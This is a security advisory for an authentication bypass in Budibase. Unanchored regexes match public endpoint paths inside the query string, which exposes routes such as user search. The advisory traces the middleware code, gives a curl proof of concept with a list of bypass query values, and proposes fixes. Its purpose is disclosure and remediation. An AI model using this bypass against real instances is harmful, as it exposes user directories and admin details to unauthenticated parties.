### Summary

The `authenticated` middleware uses unanchored regular expressions to match public (no-auth) endpoint patterns against `ctx.request.url`. Since `ctx.request.url` in Koa includes the query string, an attacker can access any protected endpoint by appending a public endpoint path as a query parameter. For example, `POST /api/global/users/search?x=/api/system/status` bypasses all authentication because the regex `/api/system/status/` matches in the query string portion of the URL.

### Details

**Step 1 — Public endpoint patterns compiled without anchors**

`packages/backend-core/src/middleware/matchers.ts`, line 26:

```typescript
return { regex: new RegExp(route), method, route }
```

No `^` prefix, no `$` suffix. The regex matches anywhere in the test string.

**Step 2 — Regex tested against full URL including query string**

`packages/backend-core/src/middleware/matchers.ts`, line 32:

```typescript
const urlMatch = regex.test(ctx.request.url)
```

Koa's `ctx.request.url` returns the full URL including query string (e.g., `/api/global/users/search?x=/api/system/status`). The regex `/api/system/status` matches in the query string.

**Step 3 — publicEndpoint flag set to true**

`packages/backend-core/src/middleware/authenticated.ts`, lines 123-125:

```typescript
const found = matches(ctx, noAuthOptions)
if (found) {
publicEndpoint = true
}
```

**Step 4 — Worker's global auth check skipped**

`packages/worker/src/api/index.ts`, lines 160-162:

```typescript
.use((ctx, next) => {
if (ctx.publicEndpoint) {
return next() // ← SKIPS the auth check below
}
if ((!ctx.isAuthenticated || ...) && !ctx.internal) {
ctx.throw(403, "Unauthorized") // ← never reached
}
})
```

When `ctx.publicEndpoint` is `true`, the 403 check at line 165-168 is never executed.

**Step 5 — Routes without per-route auth middleware are exposed**

`loggedInRoutes` in `packages/worker/src/api/routes/endpointGroups/standard.ts` line 23:

```typescript
export const loggedInRoutes = endpointGroupList.group() // no middleware
```

Endpoints on `loggedInRoutes` have NO secondary auth check. The global check at `index.ts:160-169` was their only protection.

**Affected endpoints (no per-route auth — fully exposed):**
- `POST /api/global/users/search` — search all users (emails, names, roles)
- `GET /api/global/self` — get current user info
- `GET /api/global/users/accountholder` — account holder lookup
- `GET /api/global/template/definitions` — template definitions
- `POST /api/global/license/refresh` — refresh license
- `POST /api/global/event/publish` — publish events

**Not affected (have secondary per-route auth that blocks undefined user):**
- `GET /api/global/users` — on `builderOrAdminRoutes` which checks `isAdmin(ctx.user)` → returns false for undefined → throws 403
- `DELETE /api/global/users/:id` — on `adminRoutes` → same secondary check blocks it

### PoC

```bash
# Step 1: Confirm normal request is blocked
$ curl -s -o /dev/null -w "%{http_code}" \
-X POST -H "Content-Type: application/json" -d '{}' \
"https://budibase-instance/api/global/users/search"
403

# Step 2: Bypass auth via query string injection
$ curl -s -X POST -H "Content-Type: application/json" -d '{}' \
"https://budibase-instance/api/global/users/search?x=/api/system/status"
{"data":[{"email":"[email protected]","admin":{"global":true},...}],...}
```

Without auth → 403. With `?x=/api/system/status` → returns all users.

Any public endpoint pattern works as the bypass value:
- `?x=/api/system/status`
- `?x=/api/system/environment`
- `?x=/api/global/configs/public`
- `?x=/api/global/auth/default`

### Impact

An unauthenticated attacker can:
1. **Enumerate all users** — emails, names, roles, admin status, builder status via `/api/global/users/search`
2. **Discover account holder** — identify the instance owner via `/api/global/users/accountholder`
3. **Trigger license refresh** — potentially disrupt service via `/api/global/license/refresh`
4. **Publish events** — inject events into the event system via `/api/global/event/publish`

The user search is the most damaging — it reveals the full user directory of the Budibase instance to anyone on the internet.

Note: endpoints on `builderOrAdminRoutes` and `adminRoutes` are NOT affected because they have secondary middleware (`workspaceBuilderOrAdmin`, `adminOnly`) that independently checks `ctx.user` and throws 403 when it's undefined. Only `loggedInRoutes` endpoints (which rely solely on the global auth check) are exposed.

### Suggested Fix

Two options (both should be applied):

**Option A — Anchor the regex:**
```typescript
// matchers.ts line 26
return { regex: new RegExp('^' + route + '(\\?|$)'), method, route }
```

**Option B — Use ctx.request.path instead of ctx.request.url:**
```typescript
// matchers.ts line 32
const urlMatch = regex.test(ctx.request.path) // excludes query string
```

CWE-287 Improper Authentication